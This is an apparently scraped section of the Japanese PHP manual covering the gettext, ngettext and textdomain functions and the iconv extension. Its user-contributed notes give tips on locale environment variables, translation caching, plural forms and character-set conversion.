putenv(...) can cause hidden problems when upgrading or moving between systems which are difficult to diagnose.

On one Linux server we had the following working perfectly with setlocale

putenv("LANG=$locale");

We switched servers and found gettext wouldn't work despite having all the same locale files and settings

The recommendation to switch to

putenv("LC_ALL=$locale");

didn't fix the problem.

However,

putenv("LANGUAGE=$locale");

did. So if you have problems, check all three settings.
kingjackal at gmail dot com 02-Jul-2018 11:13
If your PO/MO files make use of msgctxt (Context), you'll be frustrated to find that gettext(msgid) won't work as you might expect (even if msgid is unique).

In this case, you must use ASCII char 4 [EOT, End Of Text] glued between the msgctxt and msgid.

Example PO content:

    msgctxt "Context"
    msgid "Test string"
    msgstr "Test translation"

    msgid "Standard string"
    msgstr "Standard translation"

The following will work:

<?php
gettext('Context' . "\004" . 'Test string');
gettext('Standard string');
?>

The following will NOT work:

<?php
gettext('Test string');
?>
nayana at corp - gems dot com 26-Jun-2014 11:16
on OSX (10.9.3) and PHP (5.4.24) you need to use full local name including codeset

i.e. for German need to use de_DE.UTF-8 even setlocale returns success when used without .UTF-8 the lookups will not work.
telefoontoestel at hotmail dot com 05-Feb-2014 03:43
This function is not able to handle null values. It can return the complete translation file if you enter null as argument.
mikko dot rantalainen at peda dot net 08-Jan-2014 06:17
Worth noting is that gettext honors environment variables while selecting the language to use: http://www.gnu.org/software/gettext/manual/html_node/Locale-Environment-Variables.html

"When a program looks up locale dependent values, it does this according to the following environment variables, in priority order:

    LANGUAGE
    LC_ALL
    LC_xxx, according to selected locale category: LC_CTYPE, LC_NUMERIC, LC_TIME, LC_COLLATE, LC_MONETARY, LC_MESSAGES, ...
    LANG

Variables whose value is set but is empty are ignored in this lookup. "

In short, if you have non-empty LANGUAGE, you may end up with unexpected localization strings. On the other hand, LANGUAGE can be used to define fallback language if some translation is missing.
jmeile at hotmail dot com 07-Jan-2014 10:23
I just wanted to say that gettext won't work on WAMP Server 2.4 / 64 Bit, see the thread I posted here:

Title: Gettext doesn't work on WAMP 64 Bits
http://forum.wampserver.com/read.php?2,120770,120770#msg-120770

I haven't tested with only apache 64 Bit, so, I don't know if the issue is related to apache or WAMP. Anyway, to make it work with WAMP, install the 32 Bit version of WAMP and only do this:

define('LOCALE_DIR', '<root_dir_of_your_po_files>'); //ie: C:/wamp/www/your_app/locale
$locale = '<your_locale>'; //ie: es_CO
$domain = 'your_gettext_domain'; //ie: messages
putenv('LC_ALL=' . $locale);
bindtextdomain($domain, LOCALE_DIR);
textdomain($domain);
echo _('<your_string>'; // ie: Hello world

"setlocale" nor setting the LANG, LANGUAGE, and LC_MESSAGES environment variables seems to be necessary under windows. I got it working by setting "LC_ALL" only.
ashi009 at gmail dot com 29-Nov-2012 04:34
The simplest way to by-pass gettext() cache, without restart apache nor change domain.

The fix is incredible simple, first create a dummy link to the locale folder where .mo files stored:

cd locale
ln -s . nocache

Then add one single line before bindtextdomain()

<?php
bindtextdomain('domain', './locale/nocache');
bindtextdomain('domain', './locale');
?>

Now the cache is forced to flush every time.
simen at nconel dot no 09-May-2012 10:57
gettext returns the headers from .mo files
if the message parameter is set to empty.

So if you are for example using Smarty blocks, make sure that the values given checks if the text has content or else your text will have a bunch of headers printing.

If you are putting a variable to the gettext, like so:
_($text);
you are better of making another function like this:
<?php
function __($text){
if(empty($text)) return "";
else gettext($text);
}
?>
bla at taxistop dot be 06-Jan-2011 06:47
For me it is sufficient to call setlocale() with a string like "nl_BE" as the second parameter, to make gettext() work. Just plain "nl" was not enough.

Ditto when using an environment variable like LANG: "en", "fr", "nl", "de" are not enough: I have to specify the country, too.
surfchen at gmail dot com 04-Mar-2010 12:26
As of php 5.3, you can use the following code to get the preferred locale of the http agent.

<?php
$locale = Locale::acceptFromHttp($_SERVER['HTTP_ACCEPT_LANGUAGE']);
?>
daemonraco at yahoo dot com dot ar 24-Apr-2007 02:06
I had a problem like "adino at adino dot sk" said, so I did the unsetting of LANG ($ unset LANG), but it was not sufficient, I had to unset the environment variable LANGUAGE too.

I tried to do this using "sudo", but it didn't works, so I had to change to root using "su"

If you need to know, I use Musix (a sub-distro of Devia).

I hope this will help you, Seeya! ^__^'
vinaykuruvila at gmail dot com 03-Mar-2006 02:55
If like me, you are stuck with making a lot of code localizable, you have to go through all your php files and wrap all srings in _("string"). Here's an elisp function which can help you out.

This function enables you to highlight some text in an emacs buffer and make it a localizable string using the keyboard shortcut C-l (Ctrl and l). If the first character highlighted is " or ', then it assumes the text is in php-context and changes it to: _(HIGHLIGHTED_TEXT). Otherwise it assumes the text is in html-context and changes it to <?=_('HIGHLIGHTED_TEXT')?>

The shortcut C-k can be used for translating parts of php strings which contain html tabs. We dont want to translate the entire string including the tabs, so we highlight just the substring that needs to be translated and use C-k.

To use it, do either of:
Copy and paste the following code into your .emacs file. This would permanently associate the keyboard shortcut C-l with this function.
Save the code in a new file ending with the .el extension. Evaluate it using M-x eval-buffer. This makes the C-l keyboard shortcut only last for the current Emacs session.

Code
;author: Vinay Kuruvila March 01 2006
;updated to handle php strings containing html tabs

;makes the text starting at left and ending at right in the
;current buffer a localizable string, assuming that the
;string is within php context
(defun make-localizable-string-in-php-context(left right)
(goto-char left)
(insert "_(")
(goto-char (+ right 2))
(insert ")")
)

;makes the text starting at left and ending at right in the
;current buffer a localizable string, assuming that the
;string is within html context
(defun make-localizable-string-in-html-context(left right)
(goto-char left)
(insert "<?= _('")
(goto-char (+ right 7))
(insert "')?>")
)

;makes the highlighted text a localizable string
;uses php-context localization if the first char highlighted
;is " or '
;otherwise uses html-context localization
(defun make-localizable-string()
(interactive)

;find the positions of the left and right ends of
;the highlighted text
(if (> (point) (mark))
(progn
(setq right (point))
(setq left (mark))
)
(progn
(setq right (mark))
(setq left (point))
)
)

;determine php-context or html-context and dispatch
(if (or (char-equal (char-after left) ?\") (char-equal (char-after left) ?'))
(make-localizable-string-in-php-context left right)
(make-localizable-string-in-html-context left right)
)
(deactivate-mark)
)

;to handle php strings which contain html tabs
;we dont want to translate the html tabs
(defun make-localizable-string-within-php-string ()
(interactive)

;find the positions of the left and right ends of
;the highlighted text
(if (> (point) (mark))
(progn
(setq right (point))
(setq left (mark))
)
(progn
(setq right (mark))
(setq left (point))
)
)
(goto-char left)
(insert "\". _(\"")
(goto-char (+ right 6))
(insert "\").\"")
(deactivate-mark)
)

;assigns a keyboard shortcut
(global-set-key "\C-l" 'make-localizable-string)
(global-set-key "\C-k" 'make-localizable-string-within-php-string)
suchy(d)ivan(a)gmail.com 10-Dec-2005 04:35
Default behavior is name .mo file equally in every language version:
===
locale_dir

--- en_US
------ LC_MESSAGES
--------- lang.mo

--- sk_SK
------ LC_MESSAGES
--------- lang.mo
===

I think, better form is:
===
locale_dir

--- en_US
------ LC_MESSAGES
--------- en.mo

--- sk_SK
------ LC_MESSAGES
--------- sk.mo
===

Then the following code works very well (surprisingly on win32 too), and you don't need restart apache and do other confusing things:

<?php
$gettext_domain = 'sk'; // change by language
setlocale(LC_ALL, 'sk_SK.UTF-8'); // change by language, directory name sk_SK, not sk_SK.UTF-8
bindtextdomain($gettext_domain, "lang");
textdomain($gettext_domain);
bind_textdomain_codeset($gettext_domain, 'UTF-8');
?>

Have nice day :-)
smerf(a)druid(d)if(d)uj(d)edu(d)pl 31-Oct-2005 01:38
Gettext translations are cached. If you change *.mo files your page may not be translated as expected. Here's simple workaround which does not require restarting webserver (I know, this is just a dirty hack):

<?php
function initialize_i18n($locale) {
    putenv('LANG='.$locale);
    setlocale(LC_ALL,"");
    setlocale(LC_MESSAGES,$locale);
    setlocale(LC_CTYPE,$locale);
    $domains = glob($locales_root.'/'.$locale.'/LC_MESSAGES/messages-*.mo');
    $current = basename($domains[0],'.mo');
    $timestamp = preg_replace('{messages-}i','',$current);
    bindtextdomain($current,$locales_root);
    textdomain($current);
    }
?>

to make this work you have to put your locale inside file messages-[unix_time].mo and use this name (without .mo) as your domain to fool caching mechanism (domain names differ)

msgfmt messages.po -o messages-`date +%s`.mo

for me this works fine (although this is not very elegant solution)
florent at eledo dot com 30-Aug-2005 07:05
Take care when extracting the strings from the source files : if your source files are not encoded in ascii, then xgettext must be used with the --from-code option, and the generated .po file is *always* UTF-8 (even if you used a different --from-code charset).

The usage of gettext will not work later on strings which include non ascii caracters. For make it working, you have to translate the .po file to your proper charset with msgconv.

Example :
my source files are encoded in iso-8859-1
$ xgettext --from-code=iso-8859-1 -n *.php -o myapp.po
==> myapp.po is in UTF-8 (and generated .mo files will not work with gettext).
I have to convert it to iso-8859-1 before translating :
$ msgconv --to-code=iso-8859-1 myapp.po -o myapp.po
...and now translate the file.
adino at adino dot sk 20-May-2003 07:23
If you 're experiencing problems like gettext() is not working and you're getting translated text only occassionaly use: unset LANG before starting apache.
Next thing is that you have to restart apache after you 've changed .mo files because they're treated something like shared libraries.
I've only tested this with Linux (Sourcemage Linux distro, Mandrake) but it might be true for others as well.
jespersaNOSPAM at diku dot NO_SPAM dot dk 05-May-2002 05:27
There's a good tutorial to the GetText tools used with PHP at http://zez.org/article/articleview/42
The only modification I needed to do was to use the correct ISO-language/country-codes (don't know the ISO number) and call setlocale.
helloworld.php:

<?php
putenv("LC_ALL=da_DK"); // For danish/Denmark
setlocale(LC_ALL, "");

// ./locale/da/LC_MESSAGES holds the helloworld.mo file
bindtextdomain("helloworld", "./locale");
textdomain("helloworld");

print(gettext("Hello world!"));
?>

I had a lot of trouble getting this to work on Red Hat (Yellow Dog) Linux though.
iguy at ionsphere dot org 04-Mar-2001 08:18
Depending on the implementation of gettext used you might have to call the setlocale(LC_ALL, "") command.
So your example code would be

<?php

// Set language to German
putenv ("LANG=de");

// set the locale into the instance of gettext
setlocale(LC_ALL, "");

// Specify location of translation tables
bindtextdomain ("myPHPApp", "./locale");

// Choose domain
textdomain ("myPHPApp");

// Print a test message
print (gettext ("Welcome to My PHP Application"));
?>

NOTE:  If setlocale returns NULL the LANG specified is invalid and "not supported".


gettext の複数形版

  • ≪ gettext
  • textdomain ≫
  • PHP Manual
  • Gettext 関数
  • gettext の複数形版

ngettext

(PHP 4 >= 4.2.0, PHP 5, PHP 7, PHP 8)

ngettext — gettext の複数形版

説明

ngettext ( string $singular , string $plural , int $count ) : string

複数形版の gettext() です。 言語によっては、数量に応じていくつかの複数形が存在することがあります。

パラメータ

singular

単数形のメッセージ ID。

plural

複数形のメッセージ ID。

count

数 (件数など)。この数にあわせて翻訳を決定します。

返り値

singular および plural で表されるメッセージの、数 count に対応する複数形を返します。

例

例1 ngettext() の例

<?php

setlocale(LC_ALL, 'cs_CZ');
printf(ngettext("%d window", "%d windows", 1), 1); // 1 okno
printf(ngettext("%d window", "%d windows", 2), 2); // 2 okna
printf(ngettext("%d window", "%d windows", 5), 5); // 5 oken

?>

User Contributed Notes

Mike Robinson 17-Jun-2013 08:40
Even though "hek at theeks dot net"'s answer is valid, I would not recommend using the abs() hack recommended. Even though it is by far the most common, not all languages treat (n != 1) as plural. Other languages are much more complex, for example, here is how you determine plurals in Macedonian.

n==1 || n%10==1 ? 0 : 1

In Arabic there are actually 5 different types of plurals:

n==0 ? 0 : n==1 ? 1 : n==2 ? 2 : n%100>=3 && n%100<=10 ? 3 : n%100>=11 ? 4 : 5

If you are using only specific languages that use the (n != 1) format AND -1 is singular, by all means, use abs(), but be careful and don't forget that you have done this when adding a new language to your project 3 years down the road.
hek at theeks dot net 19-Aug-2009 11:07
Beware of one difference between the GNU gettext API and the PHP binding of it, which is that the GNU gettext functions that accept a $count parameter all expect (indeed, being compiled C, require) that $count be unsigned, while the PHP binding does not.

Thus, the PHP gettext functions will happily accept negative numbers. The one potentially irritating consequence of this is that -1 is treated as plural, which sits well with some people and not so well with others.  (As a picky native speaker of English, my personal opinion is that both "the temperature is minus one degree Fahrenheit" and "four apples minus five apples leaves minus one apple" but others may feel that "four apples minus five apples leaves minus one apples" sounds better.)

The upshot: You may want to abs($count) before passing numbers to gettext.

Bonus points: If your application includes user preferences, you might offer a "treat -1 as singular" option to your users, then choose $count or abs($count) to pass to gettext based on each user's preference.
peter at ints dot net 14-Dec-2008 11:26
Example for russian lang:
file.po:
    ...
    "Plural-Forms: nplurals=3; plural=n%10==1 && n%100!=11 ? 0 : n%10>=2 && n%10<=4 && (n%100<10 || n%100>=20) ? 1 : 2;\n"
    ...
    msgid "File"
    msgid_plural "Files"
    msgstr[0] "Файл"
    msgstr[1] "Файла"
    msgstr[2] "Файлов"
    ...

file.php
    ...
    echo ngettext("File", "Files", $number);
    ...
kontakt at somplatzki dot de 25-May-2007 02:47
It's useful to know how the .po-file has to look like when using ngettext:

msgid "item"
msgid_plural "items"
msgstr[0] "Produkt"
msgstr[1] "Produkte"

In php:

echo ngettext('item', 'items', $number);
tokul at users dot sourceforge dot net 10-Dec-2006 03:56
According to GNU gettext manual third argument is unsigned long integer. It must be positive number. If n is negative, it might be evaluated incorrectly in some languages.
mike-php at emerge2 dot com 03-Nov-2004 12:53
Section 10.2.5 in the GNU gettext manual explains the ngettext function:

http://www.gnu.org/software/gettext/manual/

(Sorry, but the Add Note function prevents me from including a long URL which points right to that section of the manual.)


デフォルトドメインを設定する

  • ≪ ngettext
  • iconv ≫
  • PHP Manual
  • Gettext 関数
  • デフォルトドメインを設定する

textdomain

(PHP 4, PHP 5, PHP 7, PHP 8)

textdomain — デフォルトドメインを設定する

説明

textdomain ( string $text_domain = null ) : string

この関数は、gettext() がコールされた際に検索を 行うドメインを設定します。このドメインは、通常はアプリケーション名から 付けられます。

パラメータ

domain

新しいメッセージドメイン。null を指定すると、現在の設定をそのまま 取得し、変更しません。

返り値

成功すると、この関数はドメインを変更した後に現在のメッセージドメインを 返します。

注意

注意:

textdomain() 関数の情報はプロセス単位で管理されます。 スレッドではありません。

User Contributed Notes

ninja (without a) at informance dot dot dot info 14-Oct-2010 09:00
When you set a text domain, it (obviously) erases the previous one.

This can be a problem when you use nested includes in which there can be textdomain() calls with different text domains. After returning from the include, your textdomain is changed, and the rest of the parent script fails in translating the remaining sentences.

I wrote these two small functions to avoid that. You should put the whole code into a file which you require_once in every script that needs gettext functionalities. Then, use only set_textdomain() and restore_textdomain() at the beginning and the end of every script/function that sets a text domain.

A call to set_textdomain() MUST correspond to a call to restore_textdomain(), and there is no limit in how many nested calls are done.

One optimization is done here: when the new text domain is the same as the current one, no change is made, and restore_textdomain() will be aware of this so you can still call it safely.

<?php
$_td_stack = array(); // text domains stack

/**
 * Sets a new text domain after recording the current one
 * so it can be restored later with restore_textdomain().
 *
 * It's possible to nest calls to these two functions.
 * @param string the new text domain to set
 */
function set_textdomain($td)
{
    global $_td_stack;

    $old_td = textdomain(NULL);

    if ($old_td)
    {
        if (!strcmp($old_td, $td))
        {
            array_push($_td_stack, false);
        }
        else
        {
            array_push($_td_stack, $old_td);
        }
    }

    textdomain($td);
}

/**
 * Restore the text domain active before the last call to
 * set_textdomain().
 */
function restore_textdomain()
{
    global $_td_stack;

    $old_td = array_pop($_td_stack);

    if ($old_td)
    {
        textdomain($old_td);
    }
}
?>
ipso at snappymail dot ca 27-Apr-2007 11:26
I was having very strange issues with gettext only setting the locale once per Apache process (non-threaded), until I found this bug report:

http://bugs.php.net/bug.php?id=21965

It almost seemed like gettext was caching the data once per process, but in fact calling textdomain() fixed the issue for me.


iconv

  • はじめに
  • インストール/設定
    • 要件
    • インストール手順
    • 実行時設定
    • リソース型
  • 定義済み定数
  • iconv 関数
    • iconv_get_encoding — iconv 拡張モジュールの内部設定変数を取得する
    • iconv_mime_decode_headers — 複数の MIME ヘッダフィールドを一度にデコードする
    • iconv_mime_decode — MIME ヘッダフィールドをデコードする
    • iconv_mime_encode — MIME ヘッダフィールドを作成する
    • iconv_set_encoding — 文字エンコーディング変換用の設定を行なう
    • iconv_strlen — 文字列の文字数を返す
    • iconv_strpos — 文字列が最初に現れる場所を見つける
    • iconv_strrpos — 文字列が最後に現れる場所を見つける
    • iconv_substr — 文字列の一部を切り出す
    • iconv — 文字列を指定した文字エンコーディングに変換する
    • ob_iconv_handler — 出力バッファハンドラとして文字エンコーディングを変換する

User Contributed Notes

There are no user contributed notes for this page.


はじめに

このモジュールには、iconv による文字集合の変換機能へのインターフェイスが含まれています。 このモジュールにより、ローカルな文字集合で表された文字列を、Unicode 文字集合のような 他の文字集合で表わされた文字列に変換することができます。 サポートされる文字集合は、使用するシステムの iconv の実装に依存します。 いくつかのシステムでは iconv 関数は意図した通りに動作しない可能性があることに注意してください。 この場合は、» GNU libiconv ライブラリをインストール すると良いでしょう。 このライブラリの出力は、多くの場合、より妥当なものとなります。

この拡張モジュールには、 多言語スクリプトを書く際に有用な種々のユーティリティが附属しています。 この新機能については、以下のセクションを参照してください。

User Contributed Notes

There are no user contributed notes for this page.


要件

使用しているシステムが、最近のPOSIX対応システムのどれかである場合には、標準C 言語ライブラリの中にiconv機能が含まれているため、何かをする必要はありません。 そうでない場合は、 » libiconvライブラリを入手して使用する システムにインストールする必要があります。

User Contributed Notes

There are no user contributed notes for this page.


インストール手順

この拡張モジュールはデフォルトで有効となります。無効にしたい場合は、コンパイル時に --without-iconv を指定します。

オプションのディレクティブ --with-iconv[=DIR] を使うと、PHP のコンパイル時に使うシステム上の iconv の場所を指定できます。指定しなかった場合はデフォルトの場所を探します。

User Contributed Notes

There are no user contributed notes for this page.


実行時設定

php.ini の設定により動作が変化します。

Iconv 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
iconv.input_encoding | "" | PHP_INI_ALL | PHP 5.6.0 で非推奨となりました。
iconv.output_encoding | "" | PHP_INI_ALL | PHP 5.6.0 で非推奨となりました。
iconv.internal_encoding | "" | PHP_INI_ALL | PHP 5.6.0 で非推奨となりました。

以下に設定ディレクティブに関する 簡単な説明を示します。

警告

(IBM AIX のように)いくつかのシステムでは "ISO-8859-1" ではなく "ISO8859-1" を使用することがあります。そのような場合は、設定オプションや 関数のパラメータにはこの値を使用しなければなりません。

iconv.input_encoding string
警告

この機能は PHP 5.6.0 で 非推奨になります。この機能に頼らないことを強く推奨します。

PHP 5.6 以降のユーザーは、これを空のままにしておいて、代わりに input_encoding を設定すべきです。

iconv.output_encoding string
警告

この機能は PHP 5.6.0 で 非推奨になります。この機能に頼らないことを強く推奨します。

PHP 5.6 以降のユーザーは、これを空のままにしておいて、代わりに output_encoding を設定すべきです。

iconv.internal_encoding string
警告

この機能は PHP 5.6.0 で 非推奨になります。この機能に頼らないことを強く推奨します。

PHP 5.6 以降のユーザーは、これを空のままにしておいて、代わりに default_charset を設定すべきです。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

この拡張モジュールで使用される iconv 実装の種類を実行時に調べることができます。

iconv で実装されている定数
名前 | 型 | 説明
ICONV_IMPL | string | 実装の名前
ICONV_VERSION | string | 実装のバージョン

注意:

これらの定数を用いて実装に依存するスクリプトを書くことは全く推奨されません。

以下の定数も利用可能です。

その他の iconv定数
名前 | 型 | 説明
ICONV_MIME_DECODE_STRICT | int | iconv_mime_decode()で使用されるビットマスク
ICONV_MIME_DECODE_CONTINUE_ON_ERROR | int | iconv_mime_decode()で使用されるビットマスク

User Contributed Notes

There are no user contributed notes for this page.


iconv 関数

参考

GNU Recode 関数も参照してください。

目次

  • iconv_get_encoding — iconv 拡張モジュールの内部設定変数を取得する
  • iconv_mime_decode_headers — 複数の MIME ヘッダフィールドを一度にデコードする
  • iconv_mime_decode — MIME ヘッダフィールドをデコードする
  • iconv_mime_encode — MIME ヘッダフィールドを作成する
  • iconv_set_encoding — 文字エンコーディング変換用の設定を行なう
  • iconv_strlen — 文字列の文字数を返す
  • iconv_strpos — 文字列が最初に現れる場所を見つける
  • iconv_strrpos — 文字列が最後に現れる場所を見つける
  • iconv_substr — 文字列の一部を切り出す
  • iconv — 文字列を指定した文字エンコーディングに変換する
  • ob_iconv_handler — 出力バッファハンドラとして文字エンコーディングを変換する

User Contributed Notes

Martin Petrov 19-Oct-2009 02:05
This is edited functions utf8_to_cp1251 and cp1251_to_utf8.
Changes: Check current string encoding.

<?php
function cp1251_to_utf8($s)
  {
  if ((mb_detect_encoding($s,'UTF-8,CP1251')) == "WINDOWS-1251")
    {
    $c209 = chr(209); $c208 = chr(208); $c129 = chr(129);
    for($i=0; $i<strlen($s); $i++)
      {
      $c=ord($s[$i]);
      if ($c>=192 and $c<=239) $t.=$c208.chr($c-48);
      elseif ($c>239) $t.=$c209.chr($c-112);
      elseif ($c==184) $t.=$c209.$c209;
      elseif ($c==168)    $t.=$c208.$c129;
      else $t.=$s[$i];
      }
    return $t;
    }
  else
    {
    return $s;
    }
   }

function utf8_to_cp1251($s)
  {
  if ((mb_detect_encoding($s,'UTF-8,CP1251')) == "UTF-8")
    {
    for ($c=0;$c<strlen($s);$c++)
      {
      $i=ord($s[$c]);
      if ($i<=127) $out.=$s[$c];
      if ($byte2)
        {
        $new_c2=($c1&3)*64+($i&63);
        $new_c1=($c1>>2)&5;
        $new_i=$new_c1*256+$new_c2;
        if ($new_i==1025)
          {
          $out_i=168;
          } else {
          if ($new_i==1105)
            {
            $out_i=184;
            } else {
            $out_i=$new_i-848;
            }
          }
        $out.=chr($out_i);
        $byte2=false;
        }
        if (($i>>5)==6)
          {
          $c1=$i;
          $byte2=true;
          }
      }
    return $out;
    }
  else
    {
    return $s;
    }
  }
?>
nod at mobi dot kz 17-Jul-2006 07:17
If you need convert string from Windows-1251 to 866. Some characters of 1251 haven't representation on DOS 866. For example, long dash -- chr(150) will be converted to 0, after that iconv finish his work and other charactes  will be skiped. Problem characters range in win1251 (128-159,163,165-167,169,171-174,177-182,187-190).

Use this:

//$text  -  input text in windows-1251
//$cout  -  output text in 866 (cp866, dos ru ascii)

for($i=0;$i<strlen($text);$i++) {
    $ord=ord($text[$i]);
    if($ord>=192&&$ord<=239) $cout.=chr($ord-64);
    elseif($ord>=240&&$ord<=255) $cout.=chr($ord-16);
    elseif($ord==168) $cout.=chr(240);
    elseif($ord==184) $cout.=chr(241);
    elseif($ord==185) $cout.=chr(252);
    elseif($ord==150||$ord==151) $cout.=chr(45);
    elseif($ord==147||$ord==148||$ord==171||$ord==187) $cout.=chr(34);
    elseif($ord>=128&&$ord<=190) $i=$i; //нет представления данному символу
    else $cout.=chr($ord);
}


iconv 拡張モジュールの内部設定変数を取得する

  • ≪ iconv 関数
  • iconv_mime_decode_headers ≫
  • PHP Manual
  • iconv 関数
  • iconv 拡張モジュールの内部設定変数を取得する

iconv_get_encoding

(PHP 4 >= 4.0.5, PHP 5, PHP 7, PHP 8)

iconv_get_encoding — iconv 拡張モジュールの内部設定変数を取得する

説明

iconv_get_encoding ( string $type = "all" ) : array|string|false

iconv 拡張モジュールの内部設定変数を取得します。

パラメータ

type

オプション type の値は以下のどれかとすることができます。

  • all
  • input_encoding
  • output_encoding
  • internal_encoding

返り値

成功時に内部設定変数の現在の設定、失敗した場合に false を返します。

type が省略されるか、"all"が指定された場合、 iconv_get_encoding() は上記変数全てを格納した 配列を返します。

例

例1 iconv_get_encoding() の例

<pre>
<?php
iconv_set_encoding("internal_encoding", "UTF-8");
iconv_set_encoding("output_encoding", "ISO-8859-1");
var_dump(iconv_get_encoding('all'));
?>
</pre>

上の例の出力は以下となります。

Array
(
    [input_encoding] => ISO-8859-1
    [output_encoding] => ISO-8859-1
    [internal_encoding] => UTF-8
)

参考

  • iconv_set_encoding() - 文字エンコーディング変換用の設定を行なう
  • ob_iconv_handler() - 出力バッファハンドラとして文字エンコーディングを変換する

User Contributed Notes

There are no user contributed notes for this page.


複数の MIME ヘッダフィールドを一度にデコードする

  • ≪ iconv_get_encoding
  • iconv_mime_decode ≫
  • PHP Manual
  • iconv 関数
  • 複数の MIME ヘッダフィールドを一度にデコードする

iconv_mime_decode_headers

(PHP 5, PHP 7, PHP 8)

iconv_mime_decode_headers — 複数の MIME ヘッダフィールドを一度にデコードする

説明

iconv_mime_decode_headers ( string $headers , int $mode = 0 , string|null $encoding = null ) : array|false

複数の MIME ヘッダフィールドを一度にデコードします。

パラメータ

headers

エンコードされたヘッダを表す文字列。

mode

mode は、iconv_mime_decode_headers() が不正な形式の MIME ヘッダフィールドに遭遇した場合の 振る舞いを定義します。以下のビットマスクの組み合わせで指定が可能です。

iconv_mime_decode_headers() で指定できるビットマスク
値 | 定数名 | 説明
1 | ICONV_MIME_DECODE_STRICT | 指定すると、ヘッダは » RFC2047 で定義されている標準に完全準拠する形式でデコードされます。 このオプションはデフォルトでは無効になっています。なぜなら、世の中には おかしなメールソフトが多く存在し、それらは規格に従わずに間違った MIME ヘッダを生成するからです。
2 | ICONV_MIME_DECODE_CONTINUE_ON_ERROR | 指定すると、iconv_mime_decode_headers() は文法的なエラーを無視し、デコード作業を継続します。

encoding

オプションの encoding パラメータは、結果の 文字セットを指定します。指定されなかった場合、もしくは null の場合は iconv.internal_encoding が用いられます。

返り値

成功した場合は連想配列を返します。その中身には headers で指定した MIME ヘッダフィールドがすべて含まれています。 デコード中にエラーが発生した場合は false を返します。

連想配列の個々のキーがフィールド名を表し、対応する要素がフィールドの 値を表します。同じ名前のフィールドが複数存在する場合は、 iconv_mime_decode_headers() が自動的に連番つきの 配列をつくり、出現順にその配列に入れられます。 フィールド名は、大文字小文字を区別しない ことに注意して下さい。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

例

例1 iconv_mime_decode_headers() の例

<?php
$headers_string = <<<EOF
Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=
To: example@example.com
Date: Thu, 1 Jan 1970 00:00:00 +0000
Message-Id: <example@example.com>
Received: from localhost (localhost [127.0.0.1]) by localhost
    with SMTP id example for <example@example.com>;
    Thu, 1 Jan 1970 00:00:00 +0000 (UTC)
    (envelope-from example-return-0000-example=example.com@example.com)
Received: (qmail 0 invoked by uid 65534); 1 Thu 2003 00:00:00 +0000

EOF;

$headers =  iconv_mime_decode_headers($headers_string, 0, "ISO-8859-1");
print_r($headers);
?>

上の例の出力は以下となります。

Array
(
    [Subject] => Pr?ung Pr?ung
    [To] => example@example.com
    [Date] => Thu, 1 Jan 1970 00:00:00 +0000
    [Message-Id] => <example@example.com>
    [Received] => Array
        (
            [0] => from localhost (localhost [127.0.0.1]) by localhost with SMTP id example for <example@example.com>; Thu, 1 Jan 1970 00:00:00 +0000 (UTC) (envelope-from example-return-0000-example=example.com@example.com)
            [1] => (qmail 0 invoked by uid 65534); 1 Thu 2003 00:00:00 +0000
        )

)

参考

  • iconv_mime_decode() - MIME ヘッダフィールドをデコードする
  • mb_decode_mimeheader() - MIME ヘッダフィールドの文字列をデコードする
  • imap_mime_header_decode() - MIME ヘッダ要素をデコードする
  • imap_base64() - BASE64 でエンコードされたテキストをデコードする
  • imap_qprint() - quoted-printable 文字列を 8 ビット文字列に変換する

User Contributed Notes

TheConstructor 12-Jul-2010 12:07
If you need lower-case header-names (as I read the documentation case is not guranteed) try something like

<?php

$headers_string = <<<EOF
Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=
To: example@example.com
Date: Thu, 1 Jan 1970 00:00:00 +0000
Message-Id: <example@example.com>
Received: from localhost (localhost [127.0.0.1]) by localhost
    with SMTP id example for <example@example.com>;
    Thu, 1 Jan 1970 00:00:00 +0000 (UTC)
    (envelope-from example-return-0000-example=example.com@example.com)
Received: (qmail 0 invoked by uid 65534); 1 Thu 2003 00:00:00 +0000

EOF;

$headers =  iconv_mime_decode_headers($headers_string, 0, "ISO-8859-1");

$headers = array_combine(array_map("strtolower", array_keys($headers)), array_values($headers));

print_r($headers);
?>


MIME ヘッダフィールドをデコードする

  • ≪ iconv_mime_decode_headers
  • iconv_mime_encode ≫
  • PHP Manual
  • iconv 関数
  • MIME ヘッダフィールドをデコードする

iconv_mime_decode

(PHP 5, PHP 7, PHP 8)

iconv_mime_decode — MIME ヘッダフィールドをデコードする

説明

iconv_mime_decode ( string $string , int $mode = 0 , string|null $encoding = null ) : string|false

MIME ヘッダフィールドをデコードします。

パラメータ

string

エンコードされたヘッダを表す文字列。

mode

mode は、iconv_mime_decode() が不正な形式の MIME ヘッダフィールドに遭遇した場合の 振る舞いを定義します。以下のビットマスクの組み合わせで指定が可能です。

iconv_mime_decode() で指定できるビットマスク
値 | 定数名 | 説明
1 | ICONV_MIME_DECODE_STRICT | 指定すると、ヘッダは » RFC2047 で定義されている標準に完全準拠する形式でデコードされます。 このオプションはデフォルトでは無効になっています。なぜなら、世の中には おかしなメールソフトが多く存在し、それらは規格に従わずに間違った MIME ヘッダを生成するからです。
2 | ICONV_MIME_DECODE_CONTINUE_ON_ERROR | 指定すると、iconv_mime_decode_headers() は文法的なエラーを無視し、デコード作業を継続します。

encoding

オプションの encoding パラメータは、結果の 文字セットを指定します。指定されなかった場合、もしくは null の場合は iconv.internal_encoding が用いられます。

返り値

成功した場合はデコードされた MIME フィールドを、 デコード中にエラーが発生した場合は false を返します。

変更履歴

バージョン | 説明
8.0.0 | encoding は、nullable になりました。

例

例1 iconv_mime_decode() の例

<?php
// この結果は "Subject: Prufung Prufung" となります。
echo iconv_mime_decode("Subject: =?UTF-8?B?UHLDvGZ1bmcgUHLDvGZ1bmc=?=",
                       0, "ISO-8859-1");
?>

参考

  • iconv_mime_decode_headers() - 複数の MIME ヘッダフィールドを一度にデコードする
  • mb_decode_mimeheader() - MIME ヘッダフィールドの文字列をデコードする
  • imap_mime_header_decode() - MIME ヘッダ要素をデコードする
  • imap_base64() - BASE64 でエンコードされたテキストをデコードする
  • imap_qprint() - quoted-printable 文字列を 8 ビット文字列に変換する

User Contributed Notes

Dirk Becker 26-Jul-2013 09:46
While creating a new webmailer, I had to coop with a lot of mails and only half of them were correct encoded!
Often the text is tagged as ISO but in real its UTF :/

After trying a lot of solutions and combination a found a way which seems to work for all our mails. Maybe its usefull to someone else too.

<?php

